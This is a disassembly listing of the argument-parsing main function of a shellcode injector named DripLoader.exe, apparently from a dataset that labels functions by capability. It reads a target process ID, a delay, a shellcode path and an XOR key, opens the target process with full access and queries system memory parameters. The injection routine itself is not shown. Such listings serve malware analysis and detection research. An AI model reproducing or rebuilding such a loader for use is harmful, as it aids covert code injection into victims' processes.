Function at 0x140004350
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x2b8
mov rax, qword [0x14000f340]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
call fcn.140005b50
xor eax, eax
test eax, eax
je 0x1400043e5
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.e_31m
mov rcx, rax
call fcn.140001320
lea rdx, str.Error:_non_64_bit_system
mov rcx, rax
call fcn.140001320
lea rdx, [0x14000a608]
mov rcx, rax
call fcn.140001320
mov qword [rsp + 0x98], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x140004cdc
mov dword [rsp + 0x150], 0
mov dword [rsp + 0x154], 0
mov dword [rsp + 0x158], 0xffffffff
cmp dword [rsp + 0x2c0], 1
jne 0x14000477c
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Target_PID:
mov rcx, rax
call fcn.140001320
lea rdx, [rsp + 0x150]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
mov r8d, 0xa
mov edx, 0x100
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
movzx eax, al
test eax, eax
jne 0x140004414
cmp dword [rsp + 0x150], 0
je 0x140004414
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.How_much_time_are_you_willing_to_waste_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0xa8], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._ms_per_step__ms_is_100_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
lea rdx, [rsp + 0x154]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
mov r8d, 0xa
mov edx, 0x100
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
cmp dword [rsp + 0x154], 0
jle 0x1400045f3
cmp dword [rsp + 0x154], 0x64
jge 0x1400045f3
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
lea rdx, [0x14000aaa8]
mov rcx, rax
call fcn.140001320
lea rdx, [0x14000a608]
mov rcx, rax
call fcn.140001320
mov qword [rsp + 0xb8], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
movzx eax, al
test eax, eax
jne 0x1400044eb
cmp dword [rsp + 0x154], 0x64
jl 0x1400044eb
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Path_to_the_shellcode_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov r8d, 0x104
lea rdx, [rsp + 0x190]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::getline_char____ptr64__long_long___int64_____ptr64]
lea rax, [rsp + 0x190]
test rax, rax
je 0x140004644
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.XOR_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
lea rdx, [rsp + 0x158]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
mov r8d, 0xa
mov edx, 0x100
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
mov rax, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::fail_void_const___ptr64]
movzx eax, al
test eax, eax
jne 0x140004693
cmp dword [rsp + 0x158], 0
jl 0x140004693
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0xc8], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000497d
cmp dword [rsp + 0x2c0], 5
jne 0x1400048dc
mov eax, 8
imul rax, rax, 1
mov r8d, 0xa
xor edx, edx
mov rcx, qword [rsp + 0x2c8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov dword [rsp + 0x150], eax
mov eax, 8
imul rax, rax, 2
mov r8d, 0xa
xor edx, edx
mov rcx, qword [rsp + 0x2c8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov dword [rsp + 0x154], eax
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rsp + 0x2c8]
mov rax, qword [rcx + rax]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x58]
movzx eax, byte [rax]
mov byte [rsp + 0x40], al
mov rax, qword [rsp + 0x50]
movzx ecx, byte [rsp + 0x40]
mov byte [rax], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
cmp byte [rsp + 0x40], 0
jne 0x140004812
mov eax, 8
imul rax, rax, 4
mov r8d, 0xa
xor edx, edx
mov rcx, qword [rsp + 0x2c8]
mov rcx, qword [rcx + rax]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
mov dword [rsp + 0x158], eax
cmp dword [rsp + 0x154], 0x64
jge 0x1400048d7
lea rdx, str.e_31m
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
lea rdx, str.Minimal_delay_is_100_ms
mov rcx, rax
call fcn.140001320
lea rdx, [0x14000a608]
mov rcx, rax
call fcn.140001320
mov qword [rsp + 0xd0], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x140004cdc
jmp 0x14000497d
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0xd8], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0xe0], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Usage:_DripLoader.exe__target_pid___ms_delay_per_step___shellcode_path___xor_key__or_no_arguments_for_interactive_mode.
mov rcx, rax
call fcn.140001320
mov qword [rsp + 0xe8], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xe8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0xf0], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x140004cdc
lea rdx, str.args
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0xf8], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0xf8]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.target_process_ID___:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0x100], rax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x60], eax
mov edx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov qword [rsp + 0x108], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x108]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.ms_step_delay_______:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0x110], rax
mov eax, dword [rsp + 0x154]
mov dword [rsp + 0x64], eax
mov edx, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov qword [rsp + 0x118], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x118]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.shellcode_file_path_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
lea rdx, [rsp + 0x190]
mov rcx, rax
call fcn.140001320
mov qword [rsp + 0x120], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.xor_key_____________:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0x128], rax
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x68], eax
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x128]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov qword [rsp + 0x130], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x70], 0x1fffff
mov dword [rsp + 0x6c], 0
mov r8d, dword [rsp + 0x150]
mov edx, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x140004b92
lea rdx, str.Unable_to_acquire_handle_to_the_target_process_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0x138], rax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x74], eax
mov edx, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x138]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov qword [rsp + 0x140], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x140]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
jmp 0x140004cdc
lea rcx, [rsp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x164]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x188]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x48], 0
jne 0x140004bc5
mov dword [rsp + 0x48], 0x1000
cmp dword [rsp + 0x44], 0
jne 0x140004bd4
mov dword [rsp + 0x44], 0x10000
mov edx, dword [rsp + 0x48]
lea rcx, str.page_size______________:__d_n
call fcn.140004d00
mov edx, dword [rsp + 0x44]
lea rcx, str.allocation_granularity_:__d_n
call fcn.140004d00
lea rdx, [0x140002090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [rsp + 0x154]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x158]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x44]
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x78]
mov ecx, dword [rsp + 0x150]
call fcn.140003360
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
jne 0x140004c8e
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.End_of_program
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0x80], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140004cd8
lea rdx, str.Error__ret_value_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001320
mov qword [rsp + 0x88], rax
mov edx, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov qword [rsp + 0x90], rax
lea rdx, [0x140002090]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140008530
add rsp, 0x2b8
ret